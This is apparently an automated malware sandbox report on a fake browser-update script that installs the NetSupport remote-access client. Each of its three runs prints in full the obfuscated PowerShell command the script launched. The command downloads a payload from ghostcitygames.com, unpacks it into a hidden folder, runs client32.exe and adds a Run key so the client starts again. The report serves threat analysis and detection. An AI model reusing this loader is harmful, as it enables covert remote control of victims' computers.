Analysis Overview
SHA256
7e95b7ab72daae1e7aa956a9b6dd4851061f158bef76dbfcfdfca0d3a54753c7
Threat Level: Known bad
The file Update_browser_121.0.616.js was found to be: Known bad.
Malicious Activity Summary
NetSupport
Blocklisted process makes network request
Executes dropped EXE
Loads dropped DLL
Checks computer location settings
Adds Run key to start application
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Script User-Agent
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-02-05 20:15
Signatures
Analysis: behavioral3
Detonation Overview
Submitted
2024-02-05 20:15
Reported
2024-02-05 21:00
Platform
win11-20231215-en
Max time kernel
623s
Max time network
1801s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\wscript.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX628\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX628\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX628\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX628\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX628\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX628\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX628\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2201820139-2432375203-2549035866-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX628\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Roaming\DIVX628\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX628\client32.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1952 wrote to memory of 6000 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1952 wrote to memory of 6000 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 6000 wrote to memory of 2392 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX628\client32.exe |
| PID 6000 wrote to memory of 2392 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX628\client32.exe |
| PID 6000 wrote to memory of 2392 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX628\client32.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_121.0.616.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $nXZkyvvKRmWkNjUfjSTHfmXkx='https://ghostcitygames.com/data.php?7612';$kGiLsDnoDAzfROJuSgBqrZxKzDFSvNSHtc=(New-Object System.Net.WebClient).DownloadString($nXZkyvvKRmWkNjUfjSTHfmXkx);$SXNBDpidhSfKcXUiIrwhRNVdfexZMlsZ=[System.Convert]::FromBase64String($kGiLsDnoDAzfROJuSgBqrZxKzDFSvNSHtc);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $NuMHHszqhqmdcjsFNYrjfjW=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $NuMHHszqhqmdcjsFNYrjfjW -PathType Container)) { New-Item -Path $NuMHHszqhqmdcjsFNYrjfjW -ItemType Directory };$p=Join-Path $NuMHHszqhqmdcjsFNYrjfjW 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$SXNBDpidhSfKcXUiIrwhRNVdfexZMlsZ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$NuMHHszqhqmdcjsFNYrjfjW)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $NuMHHszqhqmdcjsFNYrjfjW 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $NuMHHszqhqmdcjsFNYrjfjW -Force; $FSDFSSD.attributes='Hidden';$s=$NuMHHszqhqmdcjsFNYrjfjW+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
C:\Users\Admin\AppData\Roaming\DIVX628\client32.exe
"C:\Users\Admin\AppData\Roaming\DIVX628\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ripnoticebook.com | udp |
| RU | 91.219.150.105:443 | ripnoticebook.com | tcp |
| US | 8.8.8.8:53 | 105.150.219.91.in-addr.arpa | udp |
| RU | 91.219.150.112:443 | ghostcitygames.com | tcp |
| MD | 5.181.156.45:443 | tcp | |
| US | 172.67.68.212:80 | geo.netsupportsoftware.com | tcp |
Files
memory/6000-8-0x000001A125550000-0x000001A125572000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zgptl5zg.b0w.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/6000-9-0x00007FF9188A0000-0x00007FF919362000-memory.dmp
memory/6000-10-0x000001A10CE60000-0x000001A10CE70000-memory.dmp
memory/6000-11-0x000001A10CE60000-0x000001A10CE70000-memory.dmp
memory/6000-13-0x000001A1257C0000-0x000001A1257CA000-memory.dmp
memory/6000-14-0x000001A1257F0000-0x000001A125802000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX628\client32.exe
| MD5 | c4f1b50e3111d29774f7525039ff7086 |
| SHA1 | 57539c95cba0986ec8df0fcdea433e7c71b724c6 |
| SHA256 | 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d |
| SHA512 | 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5 |
C:\Users\Admin\AppData\Roaming\DIVX628\PCICL32.dll
| MD5 | d3d39180e85700f72aaae25e40c125ff |
| SHA1 | f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15 |
| SHA256 | 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5 |
| SHA512 | 471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f |
C:\Users\Admin\AppData\Roaming\DIVX628\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\Users\Admin\AppData\Roaming\DIVX628\pcichek.dll
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
memory/6000-76-0x00007FF9188A0000-0x00007FF919362000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX628\MSVCR100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\Users\Admin\AppData\Roaming\DIVX628\NSM.LIC
| MD5 | 1b41e64c60ca9dfadeb063cd822ab089 |
| SHA1 | abfcd51bb120a7eae5bbd9a99624e4abe0c9139d |
| SHA256 | f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d |
| SHA512 | c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4 |
C:\Users\Admin\AppData\Roaming\DIVX628\client32.ini
| MD5 | 98043670d8c850e878e333312fcfa25a |
| SHA1 | dc795e8b906d70ee5854a6797e0c1557375bc443 |
| SHA256 | 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc |
| SHA512 | 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201 |
C:\Users\Admin\AppData\Roaming\DIVX628\HTCTL32.DLL
| MD5 | c94005d2dcd2a54e40510344e0bb9435 |
| SHA1 | 55b4a1620c5d0113811242c20bd9870a1e31d542 |
| SHA256 | 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 |
| SHA512 | 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a |
Analysis: behavioral1
Detonation Overview
Submitted
2024-02-05 20:15
Reported
2024-02-05 20:47
Platform
win10-20231215-en
Max time kernel
621s
Max time network
1799s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\wscript.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-303\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-303\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-303\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-303\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-303\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-303\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-303\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-33539905-3698238643-2080195461-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX-303\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Script User-Agent
| Description | Indicator | Process | Target |
| HTTP User-Agent header | Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Roaming\DIVX-303\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-303\client32.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4580 wrote to memory of 3524 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4580 wrote to memory of 3524 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3524 wrote to memory of 792 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-303\client32.exe |
| PID 3524 wrote to memory of 792 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-303\client32.exe |
| PID 3524 wrote to memory of 792 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-303\client32.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_121.0.616.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $nVNhchIFIauIBAZnklCUlPqQRgebZybpgpq='https://ghostcitygames.com/data.php?5063';$eoHrKmmfkfdsyo=(New-Object System.Net.WebClient).DownloadString($nVNhchIFIauIBAZnklCUlPqQRgebZybpgpq);$fvGjNvePNLVKIw=[System.Convert]::FromBase64String($eoHrKmmfkfdsyo);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $WBRZmOrLTYgT=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $WBRZmOrLTYgT -PathType Container)) { New-Item -Path $WBRZmOrLTYgT -ItemType Directory };$p=Join-Path $WBRZmOrLTYgT 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$fvGjNvePNLVKIw);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$WBRZmOrLTYgT)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $WBRZmOrLTYgT 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $WBRZmOrLTYgT -Force; $FSDFSSD.attributes='Hidden';$s=$WBRZmOrLTYgT+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
C:\Users\Admin\AppData\Roaming\DIVX-303\client32.exe
"C:\Users\Admin\AppData\Roaming\DIVX-303\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ripnoticebook.com | udp |
| RU | 91.219.150.105:443 | ripnoticebook.com | tcp |
| US | 8.8.8.8:53 | 105.150.219.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 79.121.231.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ghostcitygames.com | udp |
| RU | 91.219.150.112:443 | ghostcitygames.com | tcp |
| US | 8.8.8.8:53 | 112.150.219.91.in-addr.arpa | udp |
| MD | 5.181.156.45:443 | tcp | |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| US | 104.26.0.231:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 45.156.181.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 231.0.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 150.1.37.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 29.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 85.65.42.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.178.17.96.in-addr.arpa | udp |
Files
memory/3524-5-0x00000274E8850000-0x00000274E8872000-memory.dmp
memory/3524-6-0x00000274E86D0000-0x00000274E86E0000-memory.dmp
memory/3524-4-0x00007FFFC2E50000-0x00007FFFC383C000-memory.dmp
memory/3524-7-0x00000274E86D0000-0x00000274E86E0000-memory.dmp
memory/3524-10-0x00000274E8A00000-0x00000274E8A76000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jemj0xyu.2l1.ps1
| MD5 | c4ca4238a0b923820dcc509a6f75849b |
| SHA1 | 356a192b7913b04c54574d18c28d46e6395428ab |
| SHA256 | 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b |
| SHA512 | 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a |
memory/3524-25-0x00000274E86D0000-0x00000274E86E0000-memory.dmp
memory/3524-43-0x00000274E8B80000-0x00000274E8B8A000-memory.dmp
memory/3524-44-0x00000274E8BB0000-0x00000274E8BC2000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX-303\client32.exe
| MD5 | c4f1b50e3111d29774f7525039ff7086 |
| SHA1 | 57539c95cba0986ec8df0fcdea433e7c71b724c6 |
| SHA256 | 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d |
| SHA512 | 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5 |
C:\Users\Admin\AppData\Roaming\DIVX-303\PCICL32.dll
| MD5 | 15e7a2877cea4d0e106a5b0fe4bf18a1 |
| SHA1 | d014168b54936cf46e3c60f5ef3bd00500bd963b |
| SHA256 | b60d40fed71f43a14b0a4e0bc430dd8185ee57443526b6b0f16fce2cf2d6c789 |
| SHA512 | b035314acd54209c9fcb3c0d1186e97d5c1e19f051f3304a27808dec2c939bcc45a6f271b7086d8cb8ac83d8b50b1227f1dfaf19e50bbb4dac7870e56eada210 |
\Users\Admin\AppData\Roaming\DIVX-303\PCICL32.DLL
| MD5 | d3d39180e85700f72aaae25e40c125ff |
| SHA1 | f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15 |
| SHA256 | 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5 |
| SHA512 | 471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f |
C:\Users\Admin\AppData\Roaming\DIVX-303\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\Users\Admin\AppData\Roaming\DIVX-303\pcichek.dll
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\Users\Admin\AppData\Roaming\DIVX-303\MSVCR100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\Users\Admin\AppData\Roaming\DIVX-303\client32.ini
| MD5 | 98043670d8c850e878e333312fcfa25a |
| SHA1 | dc795e8b906d70ee5854a6797e0c1557375bc443 |
| SHA256 | 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc |
| SHA512 | 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201 |
C:\Users\Admin\AppData\Roaming\DIVX-303\NSM.LIC
| MD5 | 1b41e64c60ca9dfadeb063cd822ab089 |
| SHA1 | abfcd51bb120a7eae5bbd9a99624e4abe0c9139d |
| SHA256 | f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d |
| SHA512 | c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4 |
memory/3524-114-0x00007FFFC2E50000-0x00007FFFC383C000-memory.dmp
\Users\Admin\AppData\Roaming\DIVX-303\HTCTL32.DLL
| MD5 | c94005d2dcd2a54e40510344e0bb9435 |
| SHA1 | 55b4a1620c5d0113811242c20bd9870a1e31d542 |
| SHA256 | 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 |
| SHA512 | 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a |
Analysis: behavioral2
Detonation Overview
Submitted
2024-02-05 20:15
Reported
2024-02-05 20:48
Platform
win10v2004-20231215-en
Max time kernel
1340s
Max time network
1793s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\wscript.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-156\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-156\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-156\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-156\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-156\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-156\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX-156\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Script User-Agent
| Description | Indicator | Process | Target |
| HTTP User-Agent header | Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Roaming\DIVX-156\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-156\client32.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 940 wrote to memory of 2996 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 940 wrote to memory of 2996 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2996 wrote to memory of 2940 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-156\client32.exe |
| PID 2996 wrote to memory of 2940 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-156\client32.exe |
| PID 2996 wrote to memory of 2940 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-156\client32.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_121.0.616.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $hqVxxrVPU='https://ghostcitygames.com/data.php?14371';$IAboabKRESRqudjYrJHZKytC=(New-Object System.Net.WebClient).DownloadString($hqVxxrVPU);$MPyApWxijSLUJsOModxEXMoBK=[System.Convert]::FromBase64String($IAboabKRESRqudjYrJHZKytC);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $sHqUrXDwKXlDt=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $sHqUrXDwKXlDt -PathType Container)) { New-Item -Path $sHqUrXDwKXlDt -ItemType Directory };$p=Join-Path $sHqUrXDwKXlDt 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$MPyApWxijSLUJsOModxEXMoBK);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$sHqUrXDwKXlDt)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $sHqUrXDwKXlDt 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $sHqUrXDwKXlDt -Force; $FSDFSSD.attributes='Hidden';$s=$sHqUrXDwKXlDt+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
C:\Users\Admin\AppData\Roaming\DIVX-156\client32.exe
"C:\Users\Admin\AppData\Roaming\DIVX-156\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 81.171.91.138.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ripnoticebook.com | udp |
| RU | 91.219.150.105:443 | ripnoticebook.com | tcp |
| US | 8.8.8.8:53 | 105.150.219.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 204.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ghostcitygames.com | udp |
| RU | 91.219.150.112:443 | ghostcitygames.com | tcp |
| US | 8.8.8.8:53 | 16.53.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 112.150.219.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| MD | 5.181.156.45:443 | tcp | |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| US | 104.26.0.231:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 45.156.181.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 231.0.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.160.77.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
